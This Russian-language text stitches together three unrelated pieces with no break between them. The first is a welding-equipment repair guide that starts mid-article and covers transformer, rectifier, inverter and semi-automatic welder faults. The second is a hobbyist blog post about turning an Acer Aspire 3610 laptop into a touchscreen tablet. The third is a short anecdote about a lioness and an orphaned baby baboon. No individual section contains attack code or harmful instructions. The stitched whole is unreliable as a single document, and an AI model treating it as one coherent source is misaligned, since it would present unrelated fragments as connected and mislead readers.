В числе других случаются следующие неисправности.

Самопроизвольное отключение сварочного аппарата. При включении трансформатора в сеть срабатывает его защита, в результате чего аппарат отключается. Это может происходить из-за замыканий в цепи высокого напряжения — между проводами и корпусом или проводов между собой. К срабатыванию защиты может приводить также замыкание между витками катушек или листами магнитопровода, а также пробой конденсаторов. При ремонте необходимо отключить трансформатор от сети, отыскать дефектное место и устранить неисправность — восстановить изоляцию, заменить конденсатор и т.п.

Сильное гудение трансформатора, сопровождающееся часто перегревом. Причиной может быть ослабление болтов, стягивающих листовые элементы магнитопровода, неисправности в креплении сердечника или механизма перемещения катушек, перегрузка трансформатора (чрезмерно длительная работа, высокое значение сварочного тока, большой диаметра электрода). К сильному гулу приводит также замыкание между сварочными кабелями или листами магнитопровода. Необходимо проверить и подтянуть все винты и болты, устранить нарушения в механизмах крепления сердечника и перемещения катушек, проверить и восстановить изоляцию в сварочных кабелях.

Чрезмерный нагрев сварочного аппарата. К наиболее частым причинам этого относится нарушение правил эксплуатации в виде установления сварочного тока выше допустимого значения, использования электрода большого диаметра или слишком продолжительной работы без перерыва. Необходимо соблюдать стандартный режим работы — устанавливать умеренные значения тока, применять электроды небольших диаметров, делать перерывы в работе для охлаждения аппарата.

Сильный нагрев может привести к замыканию между витками обмотки катушки вследствие сгорания изоляции, сопровождающегося обычно дымлением. Это самый серьезный случай, про который говорят, что аппарат «сгорел». Если это произошло, то ремонт сварочного аппарата потребует в лучшем случае проведения локального восстановления изоляции провода катушки, в худшем — полной ее перемотки. В последнем варианте для сохранения характеристик аппарата необходимо проводить перемотку проводом исходного сечения — с тем же количеством витков, что и было.

Низкое значение сварочного тока. Явление может наблюдаться при пониженном напряжении в питающей сети или неисправности регулятора сварочного тока.

Плохая регулировка сварочного тока. К этому могут приводить различные неисправности в механизмах регулирования тока, которые различаются в разных конструкциях сварочных трансформаторов. А именно, неисправности в винте регулятора тока, замыкание между зажимами регулятора, нарушение подвижности вторичных катушек из-за попадания посторонних предметов или иных причин, замыкание в дроссельной катушке и т.п. Необходимо снимать кожух с аппарата и исследовать конкретный механизм регулирования тока на предмет обнаружения неисправности. Простота устройства сварочного аппарата и доступность всех его компонентов для осмотра, облегчают поиск неисправности.

Внезапный обрыв сварочной дуги и невозможность зажечь ее снова. Вместо появления дуги наблюдаются только мелкие искры. Подобное может быть вызвано пробоем обмотки высокого напряжения на сварочную цепь, замыканием между сварочными проводами или нарушением их соединения с клеммами аппарата.

Потребление большого тока из сети при отсутствии нагрузки. К этому может приводить замыкание витков обмотки, устраняемое локальным восстановлением изоляции или полной перемоткой катушки.

 

Ремонт сварочных выпрямителей

В конструктивном отношении выпрямитель занимает промежуточное положение между сварочным трансформатором и инвертором. От первого ему в наследство достался силовой трансформатор со всеми его недостатками, в частности, большой массой, нагревом и потенциальной возможностью замыкания обмоток или листов магнитопровода. Поэтому причины выхода из строя и способы ремонта сварочного аппарата в части силового трансформатора являются теми же самыми, что и у сварочного трансформатора. В случае, изображенном на фото ниже, сгорела обмотка силового трансформатора, и без перемотки в данном случае уже не обойтись.

 

Устройство сварочного выпрямителя

Имеющаяся электронная часть — диодный выпрямитель и модуль управления — роднит сварочный выпрямитель с инвертором. Поэтому поиск неисправности предполагает проверку диодного моста и элементов платы управления. Диодный мост является надежным компонентом электронных схем, но иногда он выходит из строя. В общем-то, причины неисправности могут быть самые разные: выгорают дорожки на платах, выходят из строя трансформаторы схемы управления. На фото ниже отображен случай, когда ремонт сварочного аппарата своими руками, заключавшийся в замене неработающей детали платы управления российским аналогом, позволил пользователю сэкономить на ремонте немалую сумму (70% от стоимости сварочного аппарата).

 

Сварочный выпрямитель

 

Плата управления (рядом замененный трансформатор платы управления)

 

Ремонт сварочных инверторов

Сварочные инверторы обеспечивают отличное качество сварки и максимальный комфорт для сварщика. Однако эти достоинства приобретены ценой более сложной конструкции и — что бы там ни говорили производители инверторов — меньшей надежностью в сравнении с предшественниками — трансформаторами и выпрямителями.

В отличие от сварочного трансформатора, который является в большей степени электротехническим изделием, сварочный инвертор представляет собой электронное устройство. Это означает, что диагностика и ремонт сварочных инверторов предполагает проверку работоспособности транзисторов, диодов, резисторов, стабилитронов и прочих элементов, из которых состоят электронные схемы. Нужно уметь работать с осциллографом, не говоря уже о мультиметрах, вольтметрах и прочей заурядной измерительной технике.

Особенностью ремонта инверторов является и то, что во многих случаях определить по характеру неисправности вышедший из строя компонент трудно или вообще невозможно, приходится проверять последовательно все элементы схемы.

Из всего вышесказанного следует, что успешный ремонт сварочного инвертора своими руками возможен лишь в том случае, если имеются хотя бы начальные познания в электронике и маломальский опыт работы с электросхемами. В противном случае самостоятельный ремонт может обернуться лишь напрасной потерей времени и сил.

Как известно, принцип работы сварочного инвертора заключается в поэтапном преобразовании электрического сигнала:

 

• Выпрямлении сетевого тока — с помощью входного выпрямителя.
• Преобразовании выпрямленного тока в переменный высокочастотный — в инверторном модуле.
• Понижении высокочастотного напряжения до сварочного — силовым трансформатором (имеющим очень маленький размер благодаря большой частоте напряжения).
• Выпрямлении переменного высокочастотного тока в постоянный сварочный — выходным выпрямителем.

В соответствии с выполняемыми операциями, инвертор конструктивно состоит из нескольких электронных модулей, к основным из которых относятся модуль входного выпрямителя, модуль выходного выпрямителя и плата управления с ключами (транзисторами).

Притом что основные компоненты в инверторах различной конструкции остаются неизменными, их компоновка в аппаратах разных производителей может сильно различаться.

 

Устройство сварочного инвертора

 

Устройство сварочного инвертора

Проверка транзисторов. Самым слабым местом инверторов являются транзисторы, поэтому ремонт инверторных сварочных аппаратов начинается обычно с их осмотра. Неисправный транзистор обычно виден сразу — взломанный или треснутый корпус, прогоревшие выводы. Если такой обнаружен, можно начинать ремонт инвертора с его замены. Вот так выглядит сгоревший ключ.

 

Поврежденный транзистор сварочного инвертора

А вот так — установленный взамен сгоревшего. Транзистор установлен на термопасту (КПТ-8), обеспечивающую хороший отвод тепла на алюминиевый радиатор.

 

Транзистор сварочного инвертора

Иногда внешних признаков неисправности нет, все ключи выглядят неповрежденными. Тогда для определения неисправного транзистора используется мультиметр, для их прозвонки.

Определить неисправные элементы — это очень хорошо, но далеко не все. Ремонт инверторных сварочных аппаратов предполагает также подыскивание, взамен сгоревших элементов, подходящих аналогов. Для этого определяется характеристика вышедших из строя элементов (по даташиту) и, исходя из нее, подбираются аналоги на замену.

Проверка элементов драйвера. Силовые транзисторы обычно не выходят из строя сами по себе, чаще всего этому предшествует выход из строя элементов «раскачивающего» их драйвера. Внизу представлено фото платы с элементами драйвера инвертора Telwin Tecnica 164. Проверка осуществляется с помощью омметра. Все неисправные детали выпаиваются и заменяются подходящими аналогами.

 

Элементы драйвера

Проверка выпрямителей. Входные и выходные выпрямители, представляющие собой диодные мосты, установленные на радиаторе, считаются надежными элементами инверторов. Однако иногда выходят из строя и они. К тем, что изображены на фото ниже, это не относится, они — исправны.

 

Диоды с тремя ножками

Диодный мост удобнее всего проверять, отпаяв от него провода и сняв с платы. Это облегчает работу и не вводит в заблуждение при наличии короткого замыкания в цепи. Алгоритм проверки прост, если вся группа звонится накоротко, нужно искать неисправный (пробитый) диод.

Для выпаивания деталей удобно пользоваться паяльником с отсосом.

Контроль платы управления. Плата управления ключами — самый сложный модуль сварочного инвертора, от его работы зависит надежность функционирования всех компонентов аппарата. Квалифицированный ремонт сварочных инверторов должен заканчиваться проверкой наличия сигналов управления, поступающих на шинки затворов модуля ключей. Осуществляется эта проверка с помощью осциллографа.

 

Контроль платы управления (на фото не инвертор, а выпрямитель, но суть от этого не меняется)

 

Полуавтоматы

В полуавтоматах, независимо от того, на какой базе — инверторов или выпрямителей — они выполнены, к неисправностям электронной и электрической части могут добавляться чисто механические неполадки. В частности, задержка подачи проволоки, вызванная малым прижимным усилием в механизме подачи или большим трением между проволокой и каналом в рукаве. В последнем случае самым эффективным способом ремонта сварочного аппарата является замена канала. Причем менять его рекомендуется, совместив удаление старого с установкой нового — за один протяг, соединив конец старого канала с началом нового.

Переделываем ноутбук

Началась вся эта история с того, что мне понадобилось устройство для серфинга в Интернете и просмотра документов, а устройство с надкушенным яблоком в виде логотипа покупать не хотелось из принципа  . К тому же под рукой оказался ноутбук Acer Aspire 3610:



На нем надо остановиться более подробно: итак, все представители данной модели страдают одной и той же болезнью – со временем у них ломается крышка с матрицей в месте шарниров, примерно так:



Виной всему сами шарниры, в которых крайне неудачно выбрана пара трения (металл-резина-металл):



Со временем резиновые кольца в петлях высыхают, и петли становится невозможно разогнуть даже с помощью плоскогубцев. Обнаружив это, я слегка разогнул петли, смазал оси, а саму крышку реанимировал холодной сваркой. Таким образом, ноутбук еще проработал какое-то время в качестве ноутбука (каламбур  ).

И вот в один прекрасный день было решено сделать из неприглядного труженика более функциональное устройство. К сожалению, сам процесс я мало запечатлел на фото, поэтому буду основываться на картинках из сервисного руководства на Acer Aspire 3610.

Итак, перечень задач по переделке ноутбука в полноценный планшет:

1. Добавление сенсорного экрана

2. Усовершенствование встроенного железа (хотя для поставленных задач изначального должно было хватить)

3. Кузовные работы (пожалуй, самая хлопотная и сложная часть)

4. Выбор операционной системы и ее настройка

Пройдемся по всем четырем основным пунктам:

Добавление сенсорного экрана

Поскольку ранее я уже сталкивался с добавлением тач-скрина в ноутбук (для работы использую Asus Eee PC 1000HE со встроенным самостоятельно тачем) – этот пункт не вызвал у меня сложностей. Был заказан самый обычный 15` резистивный тач-скрин с соотношением сторон 4:3 – самый распространенный тач, поскольку используется в платежных киосках. Заказ был сделан в Московской компании Sensis, там же где и первый экран и был получен в лучшем виде уже через несколько дней. Разумеется, в комплекте был usb-контроллер. Сам экран, как я уже говорил, резистивный, 5-и проводный:

Усовершенствование встроенного железа

По поводу железа: выяснилось, что подопытный у нас изначально лишен и wi-fi и Bluetooth. Посему сначала планировалось добавить внутрь usb-hub и подключить к нему USB-Wi-Fi и USB-Bluetooth адаптеры. Однако совершенно случайно я нашел магазинчик-сервис ноутбуков, в котором удалось приобрести всего за 300р. плату mini-pci WI-Fi Intel PRO Wireless 2200:



Таким образом, ноутбук оказался оснащен вполне штатным вайфаем. С Bluetooth решил пока не заморачиваться, т.к. в нем нет особой надобности. 
Идем дальше – обратим внимание на процессор и память: изначально установлено 256 мб. DDRII – крайне мало по сегодняшним меркам. Ну что ж, добавим гиг, нам не жалко. Итого 1256 – неплохо. 
Теперь процессор – Изначально Celeron на шине 400Mhz. Приятным фактом стало то, что процессор не напаян на материнскую плату, а вставлен в сокет. Сначала возникла мысль заменить Celeron на Puntium M, однако в процессе сбора информации по железу обнаружилась забавная статья под названием «Acer 3610 PinMod», суть которой в поднятии FSB с 400 до 533:



Мод выполняется без паяльника, простой перемычкой в сокете. Попутно разумеется был заменен родной малоэффективный термоинтерфейс.
По части железа искания на этом завершились, хотя можно было пойти и дальше и заменить и винчестер, и лампы в матрице (подсевшие со временем). Пока же такой острой необходимости нет.

Теперь упомянем то, чего ноутбук лишился – а лишился он в процессе переделки слота PCMCI, точнее не самого слота, а его механической части – разъем остался на своем месте. Также удален был CD-привод, по соображениям ненадобности (в хозяйстве имеется usb-combo drive), освобождения места и облегчения всей конструкции. Забегая вперед, скажу что на место, занимаемое ранее cd-приводом я закрепил контроллер тач-скрина и антенны wi-fi и еще куча места осталась на будущее. 

Также были упразднены клавиатура и тач-пад, заодно с кнопками над клавиатурой.

Все железо в сборе проверял и настраивал еще без корпуса дабы знать заранее что все работает так как надо.

Помимо этого все-таки пришлось поработать паяльником – задействовал задний разъем usb напрямую на контроллер тачскрина, заделав отверстие под него и сделал торцевую кнопку Bluetooth кнопкой включения (т.к. родная оказалась закрыта матрицей).

Модификация корпуса

Тут пожалуй надо признать что с корпусом было больше всего вопросов и задач: как его сделать? из чего? как обеспечить прочность? как не забыть об эстетике?

Основой моему решению послужил родной корпус ноутбука, от которого я взял днище нижней части, рамку вокруг дисплея и кусок крышки, той, где жила клавиатура с тач-падом). Не пригодились: крышка матрицы, клавиатура, тач-пад и панель с кнопками.

Основным строительным материалом (именно строительным, т.к. создание корпуса превратилось в увлекательную стройку) стала холодная двухкомпонентная сварка. Выбор пал на нее по нескольким причинам: простота работы, быстрое отвердевание, легкость обработки.

Итак, части – доноры нового корпуса:

Днище корпуса:



Рамка экрана:



Часть верхней панели с клавиатурой (выделена красным):



Далее просто рамка экрана крепится на отрезанной части верхней панели и в месте крепления холодной сваркой делается ровная гладкая поверхность.

Отверстие cd-привода закрыл пластиковой заглушкой. Начал первую подгонку – выяснилось, что между частями корпуса по всему периметру образуется зазор где-то в 5-8 мм. из-за толщины бутерброда матрица-тачскрин. Чтобы эти щели закрыть на верхней крышке надставил борта из той же холодной сварки (универсальный материал!).

Затем последовала долгая утомительная подгонка, шлифовка и выравнивание поверхностей (напильник, наждачка разных калибров, дрель с шарошками). 

Вся работа по корпусу заняла неделю в режиме «неспешно, после работы».

После сборки встал вопрос – красить самому или отдать в покраску знающим людям? Поскольку мне с моим планшетом на выставках не выступать – было решено красить самостоятельно. Красил в три захода автомобильной краской из баллона – получилось вполне сносно. Нижнюю часть пока не покрасил – думаю, стоит ли?

Для лучшего охлаждения после разгона процессора проредил отверстия для выхода горячего воздуха с торца корпуса.

После «сборки и обработки напильником» можно было собственно переходить к софтовой части, вот и перейдем к ней.

Выбор операционной системы и ее настройка

Изначально поставил Windows 7 – получил кучу проблем с драйверами (железо старое, драйверов не найти). Но как говорится – «терпение и труд»… Нашел все драйвера, что не нашел – заменил на generic device. После этого подумал и поменял ось на Windows XP Tablet PC edition (по сути, обычная Windows XP с надстройками для тач-скрина). Аппарат стал пошустрее и поотзывчивее. Возможно дальше будут опыты со всякими там Ubuntu.

Результат переделки

Собственно, вот что получилось:







На этом все. 

Львица убила бабуина, но то, что произошло дальше, повергло в шок фотографа.Все началось в тот момент, когда два фотографа решили поехать на сафари в северной Ботсване… Они случайно наткнулись на группу из, примерно, тридцати бабуинов, которых преследовали львицы. К сожалению, львица догнала одного из бабуинов. Фотографы решили понаблюдать, т.к. они заметили, что на мертвом бабуине всё ещё находился детеныш...Когда львица собиралась унести мертвого бабуина, детеныш бабуина вдруг отпустил тело его покойной матери и побежал к соседнему дереву, чтобы забраться на него...… но был слишком слаб, чтобы сделать это. Львица начала приближаться к нему. Это тот момент, когда все ожидают кровавой расправы, но...К всеобщему удивлению, в отношении маленького бабуина львица, не выказала ничего, кроме нежного любопытства.И она начала играть с испуганным маленьким бабуина. Детеныш был ранен и довольно слаб…… и следующий кадр был просто неожиданностью для всех. ..Детеныш успокоился и начал играть с львицейДругие львицы подходили и проявляли любопытство, никакой агрессии не было, пока не пришел самец… но он получил неожиданный ответ на свой дикий рев негодования.На соседнем дереве сидели самцы и наблюдали за ситуацией… и как только появилась возможность, один спрыгнул вниз и утащил детеныша с собой..Вот такая вот история